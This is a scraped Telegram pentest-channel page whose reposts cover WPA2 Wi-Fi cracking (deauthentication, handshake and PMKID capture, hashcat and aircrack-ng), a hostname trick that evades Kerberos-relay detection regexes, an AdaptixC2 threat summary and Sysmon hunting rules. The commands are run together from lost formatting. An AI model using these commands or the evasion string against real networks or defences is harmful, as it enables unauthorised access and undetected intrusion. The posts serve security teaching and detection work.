Fsecurity | HH
Kanalga Telegram’da o‘tish
👾 Канал про КБ и пентест Наш Discord: https://discord.gg/Eg8aDS7Hn7 ✉️ По сотрудничеству: @OxHaskar 🍩 Поддержать: https://www.donationalerts.com/r/xackapb
Ko'proq ko'rsatish2 073
Obunachilar
+124 soatlar
+27 kun
+530 kun
Postlar arxiv
2 073
Repost from REDtalk
<продолжение>
🔘 Следующий тип атаки на WPA2 Personal это захват PMKID.
PMKID (Pairwise Master Key Identifier) — это идентификатор, используемый в протоколе WPA/WPA2 для установления защищённого соединения между клиентом и точкой доступа Wi-Fi. Подробнее можете прочитать тут:
🔗🔗🔗
Для выполнения данной атаки можем использовать утилиту hxcdumptool.
🔹Для начала надо запустить сканирование сети и определить уязвимые точки для атаки PMKID. (прим. в примере показа не последняя версия hcxdumptool).
hcxdumptool -i wlan0mon --enable_status=3hcxdumptool -i wlan0mon --enable_status=3 --filterlist_ap=С1:33:E7:F5:65:91 --filtermode=2 -o PMKID.pcapinitialization of hcxdumptool 6.2.5... warning possible interfere: NetworkManager is running with pid 101 ... [SNIP] 05:15:18 2412/1 0e2e37d6886d d8d63deb29d5 [PMKID:p243frfa5erfe3vf64w1922ew321be35e6462 KDV:2] ...🔹После успешного захвата PMKID необходимо преобразовать pcap файл в hash.
hcxpcapngtool -o hash PMKID.pcaphashcat -m 22000 --force hash wordlist.txtsudo ifconfig wlan0 down
sudo macchanger wlan0 -m 3E:48:72:B7:62:2A
sudo ifconfig wlan0 up2 073
Repost from REDtalk
Всем привет! 👋Сегодня немного поговорим о том, как пентестить Wi-Fi сети, а именно WPA2 Personal. Берите чашечку кофе и присаживайтесь.☕️
WPA2 Personal🐈⬛
Самый популярный протокол, используемый в персональных сетях Wi-Fi на данный момент, — это WPA2. Новая версия, WPA3, постепенно отвоёвывает себе место под солнцем👊, но всё ещё встречается гораздо реже. Более старые протоколы WEP и WPA практически не используются.
🔘 Первым типом атаки на WPA2, который рассмотрим, является перехват handshake, во время которого клиент и точка доступа обмениваются ключами. 🔑
Для данной атаки будем использовать утилиты семейства aircrack-ng (также можно использовать утилиту airgeddon для удобства).
🔹 Для начала необходимо включить режим мониторинга сети у интерфейса:
sudo airmon-ng start wlan0airmon-ng check kill.
🔹 Следующим шагом будем поиск доступных сетей Wi-Fi и клиентов. Сделать это можно будет с помощью утилиты airodump-ng. Флаг -w позволит сохранит результаты сканирования.
sudo airodump-ng wlan0mon -c 1 -w NETWORKsudo airgraph-ng -i NETWORK.csv -g CAPR -o NETWORK.pngsudo airodump-ng -c 11 wlan0mon --essid wifinet -w NETWORKsudo aireplay-ng -0 5 -a 60:3E:41:FE:30:83 -c 5C:12:B1:9B:ED:1A wlan0monkali@kali[/wifi]$ airodump-ng wlan0mon -c 1 -w NETWORK
06:11:03 Created capture file "NETWORK.cap".kali@kali[/wifi]$ cowpatty -c -r NETWORK
capcowpatty 4.8 - WPA-PSK dictionary attack. <jwright@hasborg.com>
Collected all necessary data to mount crack against WPA2/PSK passphrase.sudo aircrack-ng -w wordlist.txt -0 NETWORK.cap2 073
Repost from purple shift
И снова в эфире наша любимая рубрика «Минимализм спасёт Галактику».
За последний год было описано несколько атак (Kerberos Relay, NTLM Reflection), связанных с оригинальным ислледованием Project Zero, и в частности, со специфичным маршаллингом дополнительных данных внутри SPN.
Детектировать подобные атаки часто предлагают по событиям DNS\SMB запросов\трафика с именем примерно такого формата:
.+1UWhRCAAAAAAAAAAAAAAAAAAAAAA.+YBAAAA.*либо по чуть более широкому варианту:
.+1UWhRC.+На самом деле, подобный детект можно обойти, указав вот такое имя (тоже будет работать):
<hostname>1UWhRGAAAAAAAAAAIAAAAAAAAAAAAAAAQAAAAAtestKerberoswBAAAA 2 073
Repost from Threat Hunting Father 🦔
+2
✍️ AdaptixC2: новый open-source C2 в руках атакующих
Unit 42 (Palo Alto Networks) зафиксировали использование AdaptixC2 в реальных атаках (май–сентябрь 2025).
Изначально задумывался как red team-фреймворк, но теперь активно используется злоумышленниками для постэксплуатации и скрытого контроля инфраструктуры.
🔗 Функционал:
• управление файлами/процессами, запуск программ;
• туннели (SOCKS4/5, port-forwarding);
• поддержка BOF (Beacon Object Files);
• агенты в форматах EXE/DLL/сервис/шеллкод (x86/x64);
• опции OpSec (KillDate, WorkingTime, обфускация);
• профили beacon-ов: HTTP, SMB (named pipes), TCP.
📌 Сценарии атак:
Fake HelpDesk (Teams + Quick Assist):
– фишинг через Teams, запуск Quick Assist;
– PowerShell-лоадер (
update.ps1) качает и расшифровывает шеллкод из Google Drive;
– инжект в память, persistence через ярлык в Startup.
AI-generated PowerShell + DLL hijack:
– скрипт с характерными “AI-следами” (verbose комменты, ✔️ в выводе);
– загрузка Base64 шеллкода, VirtualProtect → GetDelegateForFunctionPointer;
– DLL hijack (APPDATA\...\Templates\msimg32.dll), Run-ключ Updater.
🕵️ Постэксплуатация:
whoami, ipconfig, nltest → C2-сервер → дальнейший lateral movement.
В одном кейсе AdaptixC2 применялся совместно с Fog ransomware.
⚠️ Вывод:
AdaptixC2 — свежий пример того, как open-source фреймворки быстро становятся оружием. Модульность + AI-сгенерированные загрузчики = повышенная скорость адаптации и обхода защит.
🔗 https://unit42.paloaltonetworks.com/adaptixc2-post-exploitation-framework/
🔗https://t.me/AdaptixFramework
🦔 THF2 073
Repost from Detection is easy
Всем привет! 💻✌️
Коллеги из bi.zone уведомили о новых техниках Fluffy Wolf
Давайте вспомним как это было в прошлогоднем отчете. Хакеры использовали схему фишинга
RAR (с паролем) -> COM. Примечательно, что пароль был указан в имени архива, возможно использовалось для обхода антифишинга
🔭 Обнаружение:
🔤 в двух кампаниях злоумышленники используют раширение com, вместо exe, можем этим воспользоваться для хантинга
🔤 можем похантить имена файлов с "парол|pass"
🔤 создать правило обнаружения таких файлов
ProviderName="Microsoft-Windows-Sysmon" and EventId = 11 and TargetFilename contains "\Users\" and (Image contains "парол" or Image contains "pass")
ProviderName="Microsoft-Windows-Sysmon" and EventId = 11 and TargetFilename contains "\Users\" and (Image endswith ".com")